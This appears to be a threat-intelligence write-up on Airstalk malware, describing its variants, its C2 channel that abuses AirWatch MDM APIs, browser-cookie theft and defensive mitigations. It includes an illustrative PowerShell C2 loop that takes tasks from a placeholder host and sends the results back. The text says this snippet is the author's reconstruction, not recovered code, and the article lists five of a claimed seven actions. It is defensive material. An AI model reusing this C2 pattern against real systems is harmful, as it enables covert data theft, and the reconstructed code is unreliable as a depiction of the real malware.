Nation-State Hackers Deploy Airstalk Malware in Supply Chain Attack Targeting Enterprise Browsers

Nation-State Hackers Deploy Airstalk Malware in Supply Chain Attack Targeting Enterprise Browsers

Overview of Airstalk Malware

Airstalk is a sophisticated malware distributed by a suspected nation-state threat actor as part of a supply chain attack. It exploits AirWatch APIs (now part of Workspace ONE Unified Endpoint Management) to establish a covert command-and-control (C2) channel, enabling data exfiltration and persistent access to enterprise systems. The malware is tracked under the cluster identifier CL-STA-1009, with “CL” denoting cluster and “STA” indicating state-backed motivation.

Technical Capabilities and Variants

Airstalk exists in PowerShell and .NET variants, each with distinct capabilities:

• PowerShell Variant:
  • Uses the /api/mdm/devices/ endpoint for C2 communication via custom attributes.
  • Supports 7 actions: screenshot capture, Chrome cookie harvesting, browser history/bookmarks collection, file enumeration, and self-uninstallation.
  • Relies on scheduled tasks for persistence.
• .NET Variant:
  • Expands capabilities to target Microsoft Edge and Island (enterprise browser).
  • Adds support for MISMATCH, DEBUG, and PING message types.
  • Uses three execution threads: C2 task management, debug log exfiltration, and beaconing.
  • Includes additional commands like UploadFile, EnterpriseChromeProfiles, and ExfilAlreadyOpenChrome.
  • Lacks scheduled task persistence but is signed with a stolen certificate from Aoteng Industrial Automation (Langfang) Co., Ltd. (compiled as early as June 28, 2024).

C2 Communication Mechanism

• Covert C2 Channel: Leverages AirWatch MDM APIs to store and retrieve data via “blobs” (binary large objects), masking malicious activity as legitimate device management traffic.
• Message Types:
  • CONNECT/CONNECTED: Establishes initial communication.
  • ACTIONS/RESULT: Executes commands on the host and returns outputs.
  • PING: Beaconing to maintain C2 contact.

Distribution and Persistence

• Distribution Method: Unknown, but the targeting of enterprise browsers (Chrome, Edge, Island) and use of MDM APIs suggest a supply chain attack targeting the business process outsourcing (BPO) sector.
• Persistence Mechanism: PowerShell variant uses scheduled tasks, while the .NET variant lacks this, relying instead on the stolen certificate for credibility.

Impact on BPO and Enterprise Sectors

• Targeted Sectors: BPO firms, which manage sensitive client data, are prime targets due to their role in handling third-party services.
• Risks:
  • Data Exfiltration: Stolen browser cookies could grant attackers access to multiple client systems.
  • Evasion Techniques: Malware remains undetected in third-party vendor environments, increasing the risk of prolonged breaches.
  • Supply Chain Vulnerability: Attackers exploit trust in MDM systems to infiltrate networks, potentially compromising entire ecosystems.

Mitigation and Recommendations

• Monitor MDM APIs: Detect anomalous usage of AirWatch/Workspace ONE endpoints for blob uploads or custom attribute modifications.
• Certificate Validation: Verify digital signatures of executables, especially those mimicking legitimate utilities like “AirwatchHelper.exe.”
• Browser Security: Restrict access to sensitive browser data (cookies, history) and implement multi-factor authentication for critical systems.
• Supply Chain Audits: Conduct regular security reviews of third-party vendors and BPO partners to identify potential attack vectors.

Working Example (Code-Related Context)

While no direct code is provided, the technical description implies a PowerShell script interacting with AirWatch APIs:

# Example: PowerShell C2 communication with AirWatch API
$endpoint = "https://airwatch-api.example.com/api/mdm/devices/"
$headers = @{"Authorization" = "Bearer <token>"}
$body = @{
    "action" = "CONNECT"
    "deviceID" = "12345"
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri $endpoint -Method Post -Headers $headers -Body $body
if ($response -eq "CONNECTED") {
    # Execute tasks from C2
    $tasks = Invoke-RestMethod -Uri "$endpoint/actions" -Method Get -Headers $headers
    foreach ($task in $tasks) {
        # Perform task (e.g., screenshot, file upload)
        $result = Execute-Task $task
        # Send result back
        Invoke-RestMethod -Uri "$endpoint/results" -Method Post -Headers $headers -Body $result
    }
}

Recommendations

• Use Case: This technique highlights the importance of securing MDM systems and monitoring API traffic for deviations from expected behavior.
• Best Practices:
  • Regularly update MDM software to patch known vulnerabilities.
  • Implement network segmentation to limit access to sensitive APIs.
  • Use behavioral analytics to detect unusual API usage patterns.
• Pitfalls to Avoid:
  • Overlooking certificate validation, which attackers exploit to bypass trust mechanisms.
  • Failing to monitor third-party environments, where evasion techniques are most effective.

For further details, refer to the original analysis: Airstalk Malware Analysis